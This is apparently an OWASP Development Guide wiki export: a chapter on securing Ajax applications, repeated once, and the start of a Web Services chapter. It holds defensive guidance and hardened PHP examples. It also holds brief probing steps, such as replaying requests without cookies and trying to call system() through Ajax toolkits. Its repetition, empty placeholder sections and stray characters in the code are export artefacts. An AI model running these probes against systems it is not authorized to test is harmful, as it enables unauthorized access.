Attackers will be able to fraudulently perform transactions if there is no shared state between the two systems. This attack only requires that the attackers can tamper with embedded state on the client and if market.somebiginvestmentfirm.com foolishly trusts calls from Ajax callers without first checking with example.com. However, if example.com is simply one of hundreds of brokers, then this scenario is very unlikely to be secure no matter how it’s sliced or diced. This particular scenario requires federated identity, which is discussed further in the Authentication chapter.

'''How to determine if you are vulnerable '''

You are vulnerable to this issue if:

* Sensitive state is passed through the client to the second server in the foolish hope it will be trusted by the second server

* The Ajax endpoints are hosted on a different server with unsharable session state

* The second server is addressed by a URL that would prevent the cookies from the first session being used by the second server. Most browsers do not allow an application running on ws.example.com to read cookies from www.example.com. However, browsers will allow cookies to be read from http://example.com but you should not rely on this as an attacker may spoof another URL such as attack.example.com and set cookies for example.com.

* If the web service or other endpoint cannot obtain data from the first server’s session state for any other reason (such as incompatible technologies, like running a PHP web application and the Ajax application is trying to consume ASP.NET web services).

'''Countermeasures '''

There are at least three methods to get around this issue:

* Do not host the receiving end point on a different server; simply scale the entire application up (web services and all) on the same host. This allows trivially easy access to the trusted session state.

* Stash the state in a database, and pass a cryptographically strong random key from the first server to the second server via the client. This method is far slower, more code intensive, and less scalable than the first solution.

* Use federated authentication to provide a shared authorization context and verify it on the second server. This is usually very slow, but it is safe as long as the single sign-on (SSO) implementation is relatively secure and does not allow replay attacks.

A solution that will not work is to simply pass the sensitive state via the client. A hostile client can tamper with the username, role, or any other sensitive state, so it cannot be trusted to transmit such data safely.

==State management ==

The DOM is designed to be manipulated and visible within the browser. It was never designed to be a secure storage area, but rather as a method of controlling how the page looks and behaves. Therefore, secure applications need to take care with client side storage of secure state.

'''How to determine if you are vulnerable '''

'''Countermeasures '''

==Tamper resistance ==

If state is stored on the client, the attacker is able to easily manipulate this state using a DOM inspection tool, or simply by re-writing to their own API.

'''How to determine if you are vulnerable: '''

* Use DOM inspection tools like FireBug (https://addons.mozilla.org/firefox/1843/) – can you see client side state?

* Can you change the state?

* Use proxy tools, such as Paros, Spike Proxy, or WebScarab. When you see client-side state, can you modify it or inject interesting traffic? Does the server-side code detect the change in a reasonable way?

'''Countermeasures '''

* Do not obfuscate client side state for no purpose – this requires more code and is trivially bypassed by advanced attackers

* Applications should maintain a copy of all client-side state, and only accept back state that the user is authorized to change, such as a form fields or settings which they can change in the web UI

* Ensure that the action is authorized before performing any activity on submitted data

* Include server-side validation, preferring white listing to blacklisting.

==Privacy ==

Almost all Ajax clients use XMLHttpRequest with GET requests. These embed the data in the “URL”, and even though the data is generally not visible to the user, it is available in the browser history.

Phishers favor GET requests. They love to use links embedded in e-mails. If coupled with poorly written code that does not assert authorization, such code will allow the phisher to commit an unauthorized transaction.

Even if POSTs are used, private data can be cached in intermediate untrusted caches if the application uses HTTP rather than HTTPS connections.

Most browsers have GET data limits, which can be as little as 2 KB. POSTs do not have this limitation, allowing far more data to be sent in any one request.

'''How to determine if you are at risk '''

* Use a proxy tool, like Paros, Spike, or WebScarab to determine the mode of the Ajax interaction. If it is GET, you are potentially at risk.

* Look at the data – does it contain details such as usernames, passwords, names, addresses, medical history, bank account, tax, or other private details? If so, you are at risk.

* If you are sending sensitive data, can you access the Ajax endpoint via HTTP? If so, you are at risk from privacy breaches.

'''Countermeasures '''

Generally, regardless of data value, use only POST requests.

''CPaint POST transfer mode client example''

<pre>
var cp = new cpaint();

cp.set_transfer_mode(‘POST’);'

…

cp.call(‘processCreditCard.php’, ‘setCCDetail’, document.getElementById(‘creditcardnumber’), document.getElementById(‘creditcardexpiry’),

document.getElementById(‘ccv’));

CPaint POST transfer mode server example

<?php?

function setCCDetail($cc, $expiry, $ccv)

{

// check that the session is logged in ?

assert_login();

// check that the user has the USER role to prevent

// guest and admin access

assert_role(‘USER’);

// Validate data and business rules

if ( is_credit_card($cc) && is_expiry_date($expiry) && is_numeric($ccv) )

{

// Set the credit card details

$this->cc = $cc;

$this->exp = $expiry;

$this->ccv = $ccv;

return true;

}

// Data failed validation and business rules

return false;

}

?>
</pre>

Include server-side code that enforces the source of the data, so that it only comes from the POST, not from the request, GET, environment, or cookie data.

If data transiting Ajax endpoints is protected by the users’ privacy laws, ensure that the data transits only over HTTPS using SSLv3 or TLS 1.0 or better and block HTTP communications.

==Proxy Façade ==

Many toolkits, particularly PHP toolkits, allow you to register a class or file with the Ajax toolkit and thus call that method. CPaint for example works in this manner. However, some toolkits are worse than others – they allow '''any''' in context PHP function to be called, including system() and eval(). Others are not robust against PHP code injection – see below for more details.

'''How to determine if you are vulnerable '''

If your toolkit works by registering classes or functions, try:

* Calling a system call, such as system() or printf()

* Calling another function in your code, but one which has not been registered

* Try using some of the language features, such as ` for PHP for example

If any of these attacks work, your code (and any code using this framework) is vulnerable to attack.

'''Countermeasures '''

In general, such methods of calling server side code are fraught with danger. It’s better to provide a limited interface, called a proxy façade, to only allow access to permitted functions.

This would also allow authorization checks and basic validation to be performed before calling previously internal code.

==SOAP Injection Attacks ==

'''How to determine if you are vulnerable '''

'''Countermeasures '''

==XMLRPC Injection Attacks ==

'''How to determine if you are vulnerable '''

'''Countermeasures '''

==DOM Injection Attacks ==

'''How to determine if you are vulnerable '''

'''Countermeasures '''

==XML Injection Attacks ==

'''How to determine if you are vulnerable '''

'''Countermeasures '''

==JSON (JavaScript Object Notation) Injection Attacks ==

'''How to determine if you are vulnerable '''

'''Countermeasures '''

==Encoding safety ==

Ajax applications are particularly prone to encoding attacks as JavaScript understands several encodings (depending on the browser, locale and code page), whilst the scripting language itself is primitive when it comes to providing robust encoding and decoding utilities.

'''How to determine if you are vulnerable '''

'''Countermeasures '''

Do not rely heavily upon JavaScript processing the encoding or decoding capabilities for the client. Send data pre-encoded to the client, and receive data and handle it correctly.

For more details, see the Canonicalization chapter later in this book.

==Auditing ==

'''How to determine if you are vulnerable '''

'''Countermeasures '''

==Error Handling ==

'''How to determine if you are vulnerable '''

'''Countermeasures '''

==Accessibility ==

Almost all Ajax toolkits and applications are inaccessible. Rarely do they pass even basic W3C WAI validation, and do not have accessible alternative paths. Some toolkits, such as Tibco General Interface, crash the browser if a larger text size is chosen. This is completely unacceptable and worse, completely preventable. Being a “rich” interface does not excuse disability requirements. Based upon the US Census conducted in 2000, around 19.1% of the total US population has a disability of some kind (with similar levels elsewhere on the planet). Locking out 20% of your potential users from using your application is unacceptable and is in fact, illegal in most countries.

Nearly all Western disability discrimination laws are the same – they require accessibility unless it is a justifiable hardship. They do not distinguish between open source or closed source, for profit or charitable, government or corporate – their application is universal.

The techniques for creating accessible applications are widely known and have been documented for more than ten years. Accessibility evaluation tools are included or available as an option in every web development environment. As it does not cost a great deal to write new software to be accessible (the primary cost is in the testing), it is never a justifiable hardship to be accessible.

Over the last few years, case law has firmly solidified upon the side of the disabled (see the references, particularly the SOCOG / IBM decision). If you now deliberately write inaccessible software, it would be negligent in the same way that building new buildings without accessibility aides such as ramps and lifts to allow wheelchair access. This stuff is not rocket science, it does not cost a lot of money to do, and lastly, you may need it one day.

'''How to identify if you are vulnerable '''

* Read the W3C WAI guidelines and ensure your application has alternate accessible paths, and adheres to basic accessibility guidelines.

* Identify suitable evaluation tools for your development environment if it does not already contain them. Fix issues found by these tools and re-test.

* Try using the basic accessibility tools built into your operating system to see if your code works in high contrast, different color schemes, resize the text elements in your browser (in Firefox use Control-+ key to do this, Text Size -> Larger in Internet Explorer 6.0 or use the zoom control on the bottom right of the screen in IE 7), (Windows specific) set the font resolution to high DPI to emulate large fonts, choose big default fonts in the browser, use the screen magnification tool, and test various basic screen readers. If your application fails any of these tests, you are vulnerable.

* Once you are satisfied your application should have a reasonable shot at passing full testing, identify suitable accredited accessibility test firms or similarly qualified resources who can test your application using actual disability tools and provide qualified feedback. In general, unless your application is very simple, you should fix any issues found.

'''Countermeasures '''

* Develop with accessibility in mind. Just like security, the sooner you do it, the cheaper this activity becomes and the more likely your application will be accessible.

* Test in house regularly. If possible, employ staff or volunteers who require such accessibility; they will let you know the best choices for full featured screen readers, Braille devices, and magnification and other accessibility aides. Let them test your application and provide feedback.

* If you are likely to sell to corporate or government organizations, ensure that all applications are tested by an accredited accessibility testing firm. Fix all the issues they identify.

==Further Reading ==

AJAX Spell Command Injection Vulnerability

http://www.securityfocus.com/bid/13986/discuss

CPaint Command Injection Vulnerability

http://www.securityfocus.com/bid/14565/discuss

XML-RPC Command Injection Vulnerability

http://www.securityfocus.com/bid/14088/discuss

Maguire vs SOCOG/IBM, Nublog

http://www.contenu.nu/socog.html

W3C, Existing accessibility tools

http://www.w3.org/WAI/ER/existingtools.html

US Census 2000: Disability Status 2000

http://www.census.gov/prod/2003pubs/c2kbr-17.pdf

==Reference==
[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:OWASP AJAX Security Project]]
[[Category:AJAX]]

Ajax and Other "Rich" Interface Technologies

2009-04-29T12:21:58Z

KirstenS: /* Access control: Authentication and Authorization */

[[Guide Table of Contents|Development Guide Table of Contents]]
__TOC__

'''''Style is time’s fool. Form is time’s student – Stewart Brand '''''

Ajax applications, often styled as “Web 2.0”, are not a form of magic security pixie dust. Instead, there are two classes of applications: secure and insecure. This is independent of the use of Ajax or similar technologies that preceded it, such as Flash, applets, or ActiveX. With some effort, Ajax applications can be secure. Unfortunately, many are not, which is the '''''raison d’être''''' of this chapter.

The acronym AJAX stands for Asynchronous JavaScript and XML. These technologies underpinning Ajax are not new – they first appeared in 1998 with Microsoft Outlook Web Access in Exchange Server 5.5. “Web 2.0” was defined by Tim O’Reilly to mean highly peer-to-peer dynamic applications. Such applications include del.icio.us library that allows users to share their libraries’ details, or Flickr that allows users to share their photos in a highly interactive way. We define “Ajax applications” as those that use the XMLHttpRequest object to asynchronously call the server and receive replies, regardless of how they handle or display the received data, or if they are public peer-to-peer low value applications such as forum software or highly sensitive private data, such as a tax return lodgment application.

Ajax enabled applications aim to increase the interactivity and richness of the web interface. Secure Ajax applications are achievable at minimal cost increase as long as security is considered during design and tested throughout development.

Compliance with disability laws is mandatory for all government and most corporate organizations. Ajax framework developers who wish to be used by these types of organizations must ensure their code supports common accessibility aides. Ajax framework users should select frameworks that produce accessible output and design their applications to be accessible and test regularly. In most countries, to do otherwise is simply deliberate negligence, and is often harshly punished by the courts.

Ajax applications face '''''exactly the same '''''security issues as all other web applications, plus they add their own particular set of risks that must be correctly managed. By their complex, bidirectional, and asynchronous nature, Ajax applications increase attack surface area.

Use of Ajax (or any rich interface) requires careful consideration of architecture, server-side access control, state management, and strong validation to prevent attacks. Without considering these basic controls, even brochure-ware websites, such as car manufacturer websites, can be a hazard to both the user and the web site owner’s reputation and thus sales.

At the time of writing, there is a multitude of Ajax frameworks and add-ons, and many more being written every day. Users of Ajax frameworks should ensure that their chosen framework meets the security risks of their particular application, and does not impose an unsecurable architecture upon them.

Developers of Ajax frameworks should investigate the controls presented in this chapter, and associated controls documented throughout the rest of this book to ensure that their approach is simple, accessible, and secure.

==Objective ==

To ensure that AJAX (and all “rich” interactive interfaces, such as Flash and Shockwave) have adequate:

* Secure Communications

* Authentication and Session Management

* Access Control

* Input Validation

* Error Handling and Logging

To prevent applications from being attacked using known attack vectors, such as unauthorized access, injection attacks, and so on.

==Platforms Affected ==

* All Server Platforms

* Web applications which use Ajax, ActiveX, Flash or Shockwave

* Clients which are required to use such applications

==Architecture ==

Appropriate security architecture should be considered when implementing Ajax front ends. Some Ajax frameworks will proudly display that they are 100% client based, with no server side controls, such as Tibco and Atlas (an Ajax framework for .NET).

Strong security architecture provides adequate defense in depth, and architecturally correct placement of key security controls. For more details, see the Security Architecture chapter.
[[Category:FIXME|I wanted to make Security Architecture a link, but I am not sure what section it refers to]]

For some types of applications, such as brochure-ware and non-interactive applications, such as stock tickers, this is acceptable security architecture as the risks are low – it would be hard to obviate the security controls to lose actual money. However, as the risk of the application increases, the threats and countermeasures required also increase.

'''Architecture by example '''

For the purposes of this section, irs.gov.ex, a taxation department of a fictitious country, has decided to implement an Ajax enabled electronic lodgment and tracking service for all of its 100 million taxpayers. A key reason to move to the new system is to reduce the workload on existing staff for the 90+% of tax returns that could be processed automatically … as long as the taxpayers do not deliberately lie, deceive, or cheat the system. Which of course, they do regularly.

They bought a fancy new Enterprise Service Bus (ESB), to which they hooked up their old but incredibly reliable mainframe backend, their SAP R/3 implementation that writes the checks and tax invoices, and several other key systems.

This particular ESB, like many on the market today, has no data validation, authentication, or authorization controls of its own; it is a simple web-service integration layer. The ESB expects that the underlying systems will perform adequate validation and authorization to prevent abuse, as the software company that wrote the ESB expected that all calling systems would be trusted, internal systems. Hooking up a dynamic web site where the users are known to be relentless, eager, and motivated tax avoiders changes the risk profile of a previously internal system with trusted staff.

The tax department does not want to change existing systems as they are in production and stable. More to the point, they cannot change their mainframe code easily - their skilled mainframe programmers either were promoted to senior management or retired 15 years ago, and it would be extremely costly to hire new mainframe developers, and impossible to change how the third party systems work, like SAP or their anti-fraud system.

Old code, such as COBOL CICS transactions, or previously internal only systems such as SAP R/3, have a different trust model than highly dynamic Internet connected websites. It is highly likely such systems have never been tested against now common attacks, such as HTML injection (XSS), DOM injection, XML query attacks, or similar. Without any intermediate code to protect these older systems, they are at immense risk.

The tax department selected a simple solution in the belief it will save money. In this first example, the bulk of the business logic is contained in deployed JavaScript applications. All of the business logic, validation, and state are contained in the client’s browser, and it makes direct calls to the enterprise service bus.

However, this model is simply broken: the previously generic process orchestration service will need to become far more aware of the caller’s identity (to provide authentication and enforce authorization), maintain secure state, and provide validation services that have previously been performed on the client.

[[Image:Insecure Security and state maintained on the client.gif]]

This security model is akin to leaving the keys to the Reserve Bank at the train station notice board. There is no method of protecting this model without significant replication of the business logic and re-validating all the state at the enterprise service bus, or similar web service endpoints.

Many enterprises, including irs.gov.ex, have taken to service oriented architecture (SOA), which uses web services enabling re-use of pre-existing transactions and systems, such as SAP or Siebel, or custom transactions running on mainframes. If an Ajax framework is connected to such SOA endpoints, such as an enterprise service bus, or directly to a backend data warehouse or other persistent store, there is no ability to validate the calling identity, authorize the transaction, validate the data, or any other normal security activity. So this model will not do.

In the next model, which is how most PHP application frameworks work today, the Ajax xmlrpc endpoint is not necessarily well integrated with the main application.

[[Image: Insecure Ajax Web Service Endpoint separate from the main application.gif]]

In this model, if the Ajax endpoint cannot or does not access secure state, or associate the call with the active session, a hostile caller could emulate an active session and call protected resources with minimal skills or tools. This vulnerability has already been demonstrated with several popular Ajax PHP toolkits on Bugtraq, and probably applies to other less well-known toolkits for other languages and platforms.

The best way to protect both of these models is to bring them back to the normal three-tier application model:

[[Image: Better Shared business logic in the middle tier with different front ends.gif]]

In this model, which is akin to how GMail works, the application is still significantly Ajax enabled, and provides a rich experience to the user. However, this code is backed by:

* A solid session management scheme to ensure that authentication and authorization is performed in a trusted part of the architecture

* Data validation is performed in both directions on the server-side at various layers to limit or prevent injection and other attacks

* All calls to the backend services are performed by trusted server-side business logic

* The layered architecture allows reasonable trust of the caller at the ESB level as the data has been significantly authorized and validated

This means that the ESB and its published services, such as 40 year old COBOL code, do not need to be particularly aware of the implications of being made available to the Internet. This enables higher levels of re-use and reduces costs.

Although more complex to the project implementing the Ajax enabled application, to the funding business, this architecture is the cheapest way of maintaining security whilst avoiding updating or maintaining ancient or third party code.

Selecting the correct architecture is unfortunately not a checklist – it is a balance of risk versus cost. However, as demonstrated in this section, client-side heavy architecture models are completely untrustworthy for transactional systems and should be avoided.

==Access control: Authentication and Authorization ==
[[Category:FIXME|Starting here, should these sections be part of this article? Or do they go somewhere else with links here?]]

Ajax code uses the XMLHttpRequest object, which will send the cookies of the current browser context through with each request. For applications which have user sessions, it is vital that normal authentication paths are used to ensure that the caller is known to the application. Brochure-ware applications can skip this section as they allow anonymous calling.

'''How to determine if you are vulnerable '''

If you have transactions or calls that are not to be used by anonymous callers, check that client-side code cannot call them without an established user context.

To do this:

* Fire up your favorite proxy tool, such as WebScarab

* Generate an authenticated XMLHttpRequest using the browser

* Right click on the resulting entry in WebScarab, click “Re-send”

* Edit out the cookie

See if a valid result is returned. If yes, you are vulnerable. Repeat for every Ajax enabled server-side service.

'''Countermeasures '''

Ensure that every Ajax callable function, whether XMLRPC, custom code, or a web service verify the session and authorization.

For example, in typical Ajax style, CPaint uses this insecure example:
<pre>

<?php?

function calculate_tax($sales_amount)

{

return($sales_amount * 0.075);?

}?

?>
</pre>

Let’s add some session authentication, authorization and data validation, and business rule validation:

<pre>
''<?php? ''

''function calculate_tax($sales_amount)''

''{''

''// check that the session is logged in ?''

'' assert_login();''

'' // check that the user has the USER role to prevent ''

''// guest and admin access''

'' assert_role(‘USER’);''

''// Validate data and business rules''

''if ( is_numeric($sales_amount) && $sales_amount > 0 )''

''{''

''// Perform the calculation and return''

''return($sales_amount * 0.075);?''

''}''

''// Data failed validation and business rules''

''return -1;''

''}''

''?>''
</pre>

With these simple changes, we ensure that:

* (Authentication) Enforce that the user is logged on

* (Authorization and Compliance) Enforce role authorization and provide SOX-compliant segregation of duties

* (Data Validation) Ensure that the data is safe to perform our calculation

* (Business Rule Validation) Lastly, check the data is within acceptable business rule boundaries as it is not a good idea to calculate tax for negative and zero values

Obviously, performing a tax rate calculation is not that important, but if it was an insurance premium calculator (which uses highly sensitive actuary data) this is the minimum you would expect to see for sensitive code.

==Silent transactional authorization ==

Any system that silently processes transactions using a single submission is dangerous to the client. For example, if a normal web application allows a simple URL submission, a preset session attack will allow the attacker to complete a transaction without the user’s authorization. In Ajax, it gets worse: the transaction is silent; it happens with no user feedback on the page, so an injected attack script may be able to steal money from the client without authorization.

'''How to determine if you are vulnerable '''

Determine if the application:

* Is vulnerable to DOM injection and can run arbitrary JavaScript

* If the browser allows execution of loaded JavaScript via URL entry, by navigating to the transaction submission page, and then typing in javascript:function(args). If the JavaScript is executed, it is likely that spyware will also be able to execute this code via the DOM model

'''Countermeasures '''

Ensure that all transactions are conducted with appropriate authorization, including transaction signing as necessary

==Untrusted or absent session data ==

A common mis-implementation with Ajax is the desire to call a second server.

[[Image:Ajax Second Server.gif]]

Session data on the first server usually contains relatively trustworthy authentication and authorization information, as well as sensitive state, but in general, the second server cannot access this information in a timely or safe fashion.

An example includes running an Ajax application on http://www.example.com, and the Ajax code is able to directly process share trades on http://market.somebiginvestmentfirm.com/ via the use of embedded trust or embedded credentials.

Attackers will be able to fraudulently perform transactions if there is no shared state between the two systems. This attack only requires that the attackers can tamper with embedded state on the client and if market.somebiginvestmentfirm.com foolishly trusts calls from Ajax callers without first checking with example.com. However, if example.com is simply one of hundreds of brokers, then this scenario is very unlikely to be secure no matter how it’s sliced or diced. This particular scenario requires federated identity, which is discussed further in the Authentication chapter.

'''How to determine if you are vulnerable '''

You are vulnerable to this issue if:

* Sensitive state is passed through the client to the second server in the foolish hope it will be trusted by the second server

* The Ajax endpoints are hosted on a different server with unsharable session state

* The second server is addressed by a URL that would prevent the cookies from the first session being used by the second server. Most browsers do not allow an application running on ws.example.com to read cookies from www.example.com. However, browsers will allow cookies to be read from http://example.com but you should not rely on this as an attacker may spoof another URL such as attack.example.com and set cookies for example.com.

* If the web service or other endpoint cannot obtain data from the first server’s session state for any other reason (such as incompatible technologies, like running a PHP web application and the Ajax application is trying to consume ASP.NET web services).

'''Countermeasures '''

There are at least three methods to get around this issue:

* Do not host the receiving end point on a different server; simply scale the entire application up (web services and all) on the same host. This allows trivially easy access to the trusted session state.

* Stash the state in a database, and pass a cryptographically strong random key from the first server to the second server via the client. This method is far slower, more code intensive, and less scalable than the first solution.

* Use federated authentication to provide a shared authorization context and verify it on the second server. This is usually very slow, but it is safe as long as the single sign-on (SSO) implementation is relatively secure and does not allow replay attacks.

A solution that will not work is to simply pass the sensitive state via the client. A hostile client can tamper with the username, role, or any other sensitive state, so it cannot be trusted to transmit such data safely.

==State management ==

The DOM is designed to be manipulated and visible within the browser. It was never designed to be a secure storage area, but rather as a method of controlling how the page looks and behaves. Therefore, secure applications need to take care with client side storage of secure state.

'''How to determine if you are vulnerable '''

'''Countermeasures '''

==Tamper resistance ==

If state is stored on the client, the attacker is able to easily manipulate this state using a DOM inspection tool, or simply by re-writing to their own API.

'''How to determine if you are vulnerable: '''

* Use DOM inspection tools like FireBug (https://addons.mozilla.org/firefox/1843/) – can you see client side state?

* Can you change the state?

* Use proxy tools, such as Paros, Spike Proxy, or WebScarab. When you see client-side state, can you modify it or inject interesting traffic? Does the server-side code detect the change in a reasonable way?

'''Countermeasures '''

* Do not obfuscate client side state for no purpose – this requires more code and is trivially bypassed by advanced attackers

* Applications should maintain a copy of all client-side state, and only accept back state that the user is authorized to change, such as a form fields or settings which they can change in the web UI

* Ensure that the action is authorized before performing any activity on submitted data

* Include server-side validation, preferring white listing to blacklisting.

==Privacy ==

Almost all Ajax clients use XMLHttpRequest with GET requests. These embed the data in the “URL”, and even though the data is generally not visible to the user, it is available in the browser history.

Phishers favor GET requests. They love to use links embedded in e-mails. If coupled with poorly written code that does not assert authorization, such code will allow the phisher to commit an unauthorized transaction.

Even if POSTs are used, private data can be cached in intermediate untrusted caches if the application uses HTTP rather than HTTPS connections.

Most browsers have GET data limits, which can be as little as 2 KB. POSTs do not have this limitation, allowing far more data to be sent in any one request.

'''How to determine if you are at risk '''

* Use a proxy tool, like Paros, Spike, or WebScarab to determine the mode of the Ajax interaction. If it is GET, you are potentially at risk.

* Look at the data – does it contain details such as usernames, passwords, names, addresses, medical history, bank account, tax, or other private details? If so, you are at risk.

* If you are sending sensitive data, can you access the Ajax endpoint via HTTP? If so, you are at risk from privacy breaches.

'''Countermeasures '''

Generally, regardless of data value, use only POST requests.

''CPaint POST transfer mode client example''

<pre>
var cp = new cpaint();

cp.set_transfer_mode(‘POST’);'

…

cp.call(‘processCreditCard.php’, ‘setCCDetail’, document.getElementById(‘creditcardnumber’), document.getElementById(‘creditcardexpiry’),

document.getElementById(‘ccv’));

CPaint POST transfer mode server example

<?php?

function setCCDetail($cc, $expiry, $ccv)

{

// check that the session is logged in ?

assert_login();

// check that the user has the USER role to prevent

// guest and admin access

assert_role(‘USER’);

// Validate data and business rules

if ( is_credit_card($cc) && is_expiry_date($expiry) && is_numeric($ccv) )

{

// Set the credit card details

$this->cc = $cc;

$this->exp = $expiry;

$this->ccv = $ccv;

return true;

}

// Data failed validation and business rules

return false;

}

?>
</pre>

Include server-side code that enforces the source of the data, so that it only comes from the POST, not from the request, GET, environment, or cookie data.

If data transiting Ajax endpoints is protected by the users’ privacy laws, ensure that the data transits only over HTTPS using SSLv3 or TLS 1.0 or better and block HTTP communications.

==Proxy Façade ==

Many toolkits, particularly PHP toolkits, allow you to register a class or file with the Ajax toolkit and thus call that method. CPaint for example works in this manner. However, some toolkits are worse than others – they allow '''any''' in context PHP function to be called, including system() and eval(). Others are not robust against PHP code injection – see below for more details.

'''How to determine if you are vulnerable '''

If your toolkit works by registering classes or functions, try:

* Calling a system call, such as system() or printf()

* Calling another function in your code, but one which has not been registered

* Try using some of the language features, such as ` for PHP for example

If any of these attacks work, your code (and any code using this framework) is vulnerable to attack.

'''Countermeasures '''

In general, such methods of calling server side code are fraught with danger. It’s better to provide a limited interface, called a proxy façade, to only allow access to permitted functions.

This would also allow authorization checks and basic validation to be performed before calling previously internal code.

==SOAP Injection Attacks ==

'''How to determine if you are vulnerable '''

'''Countermeasures '''

==XMLRPC Injection Attacks ==

'''How to determine if you are vulnerable '''

'''Countermeasures '''

==DOM Injection Attacks ==

'''How to determine if you are vulnerable '''

'''Countermeasures '''

==XML Injection Attacks ==

'''How to determine if you are vulnerable '''

'''Countermeasures '''

==JSON (JavaScript Object Notation) Injection Attacks ==

'''How to determine if you are vulnerable '''

'''Countermeasures '''

==Encoding safety ==

Ajax applications are particularly prone to encoding attacks as JavaScript understands several encodings (depending on the browser, locale and code page), whilst the scripting language itself is primitive when it comes to providing robust encoding and decoding utilities.

'''How to determine if you are vulnerable '''

'''Countermeasures '''

Do not rely heavily upon JavaScript processing the encoding or decoding capabilities for the client. Send data pre-encoded to the client, and receive data and handle it correctly.

For more details, see the Canonicalization chapter later in this book.

==Auditing ==

'''How to determine if you are vulnerable '''

'''Countermeasures '''

==Error Handling ==

'''How to determine if you are vulnerable '''

'''Countermeasures '''

==Accessibility ==

Almost all Ajax toolkits and applications are inaccessible. Rarely do they pass even basic W3C WAI validation, and do not have accessible alternative paths. Some toolkits, such as Tibco General Interface, crash the browser if a larger text size is chosen. This is completely unacceptable and worse, completely preventable. Being a “rich” interface does not excuse disability requirements. Based upon the US Census conducted in 2000, around 19.1% of the total US population has a disability of some kind (with similar levels elsewhere on the planet). Locking out 20% of your potential users from using your application is unacceptable and is in fact, illegal in most countries.

Nearly all Western disability discrimination laws are the same – they require accessibility unless it is a justifiable hardship. They do not distinguish between open source or closed source, for profit or charitable, government or corporate – their application is universal.

The techniques for creating accessible applications are widely known and have been documented for more than ten years. Accessibility evaluation tools are included or available as an option in every web development environment. As it does not cost a great deal to write new software to be accessible (the primary cost is in the testing), it is never a justifiable hardship to be accessible.

Over the last few years, case law has firmly solidified upon the side of the disabled (see the references, particularly the SOCOG / IBM decision). If you now deliberately write inaccessible software, it would be negligent in the same way that building new buildings without accessibility aides such as ramps and lifts to allow wheelchair access. This stuff is not rocket science, it does not cost a lot of money to do, and lastly, you may need it one day.

'''How to identify if you are vulnerable '''

* Read the W3C WAI guidelines and ensure your application has alternate accessible paths, and adheres to basic accessibility guidelines.

* Identify suitable evaluation tools for your development environment if it does not already contain them. Fix issues found by these tools and re-test.

* Try using the basic accessibility tools built into your operating system to see if your code works in high contrast, different color schemes, resize the text elements in your browser (in Firefox use Control-+ key to do this, Text Size -> Larger in Internet Explorer 6.0 or use the zoom control on the bottom right of the screen in IE 7), (Windows specific) set the font resolution to high DPI to emulate large fonts, choose big default fonts in the browser, use the screen magnification tool, and test various basic screen readers. If your application fails any of these tests, you are vulnerable.

* Once you are satisfied your application should have a reasonable shot at passing full testing, identify suitable accredited accessibility test firms or similarly qualified resources who can test your application using actual disability tools and provide qualified feedback. In general, unless your application is very simple, you should fix any issues found.

'''Countermeasures '''

* Develop with accessibility in mind. Just like security, the sooner you do it, the cheaper this activity becomes and the more likely your application will be accessible.

* Test in house regularly. If possible, employ staff or volunteers who require such accessibility; they will let you know the best choices for full featured screen readers, Braille devices, and magnification and other accessibility aides. Let them test your application and provide feedback.

* If you are likely to sell to corporate or government organizations, ensure that all applications are tested by an accredited accessibility testing firm. Fix all the issues they identify.

==Further Reading ==

AJAX Spell Command Injection Vulnerability

http://www.securityfocus.com/bid/13986/discuss

CPaint Command Injection Vulnerability

http://www.securityfocus.com/bid/14565/discuss

XML-RPC Command Injection Vulnerability

http://www.securityfocus.com/bid/14088/discuss

Maguire vs SOCOG/IBM, Nublog

http://www.contenu.nu/socog.html

W3C, Existing accessibility tools

http://www.w3.org/WAI/ER/existingtools.html

US Census 2000: Disability Status 2000

http://www.census.gov/prod/2003pubs/c2kbr-17.pdf

==Reference==
[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:OWASP AJAX Security Project]]
[[Category:AJAX]]

Web Services

2009-04-26T12:06:12Z

KirstenS: /* .NET – Web Service Extensions */

[[Guide Table of Contents|Development Guide Table of Contents]]
__TOC__
[[Category:FIXME|This article has a lot of what I think are placeholders for references. It says "see section 0" and I think those are intended to be replaced with actual sections. I have noted them where I have found them. Need to figure out what those intended to reference, and change the reference]]
This section of the Development Guide details the common issues facing Web services developers, and methods to address common issues. Due to the space limitations, it cannot look at all of the surrounding issues in great detail, since each of them deserves a separate book of its own. Instead, an attempt is made to steer the reader to the appropriate usage patterns, and warn about potential roadblocks on the way.

Web Services have received a lot of press, and with that comes a great deal of confusion over what they really are. Some are heralding Web Services as the biggest technology breakthrough since the web itself; others are more skeptical that they are nothing more than evolved web applications. In either case, the issues of web application security apply to web services just as they do to web applications.

==What are Web Services?==

Suppose you were making an application that you wanted other applications to be able to communicate with. For example, your Java application has stock information updated every 5 minutes and you would like other applications, ones that may not even exist yet, to be able to use the data.

One way you can do this is to serialize your Java objects and send them over the wire to the application that requests them. The problem with this approach is that a C# application would not be able to use these objects because it serializes and deserializes objects differently than Java.

Another approach you could take is to send a text file filled with data to the application that requests it. This is better because a C# application could read the data. But this has another flaw: Lets assume your stock application is not the only one the C# application needs to interact with. Maybe it needs weather data, local restaurant data, movie data, etc. If every one of these applications uses its own unique file format, it would take considerable research to get the C# application to a working state.

The solution to both of these problems is to send a standard file format. A format that any application can use, regardless of the data being transported. Web Services are this solution. They let any application communicate with any other application without having to consider the language it was developed in or the format of the data.

At the simplest level, web services can be seen as a specialized web application that differs mainly at the presentation tier level. While web applications typically are HTML-based, web services are XML-based. Interactive users for B2C (business to consumer) transactions normally access web applications, while web services are employed as building blocks by other web applications for forming B2B (business to business) chains using the so-called SOA model. Web services typically present a public functional interface, callable in a programmatic fashion, while web applications tend to deal with a richer set of features and are content-driven in most cases.

==Securing Web Services ==

Web services, like other distributed applications, require protection at multiple levels:

* SOAP messages that are sent on the wire should be delivered confidentially and without tampering

* The server needs to be confident who it is talking to and what the clients are entitled to

* The clients need to know that they are talking to the right server, and not a phishing site (see the Phishing chapter for more information)

* System message logs should contain sufficient information to reliably reconstruct the chain of events and track those back to the authenticated callers

Correspondingly, the high-level approaches to solutions, discussed in the following sections, are valid for pretty much any distributed application, with some variations in the implementation details.

The good news for Web Services developers is that these are infrastructure-level tasks, so, theoretically, it is only the system administrators who should be worrying about these issues. However, for a number of reasons discussed later in this chapter, WS developers usually have to be at least aware of all these risks, and oftentimes they still have to resort to manually coding or tweaking the protection components.

==Communication security ==

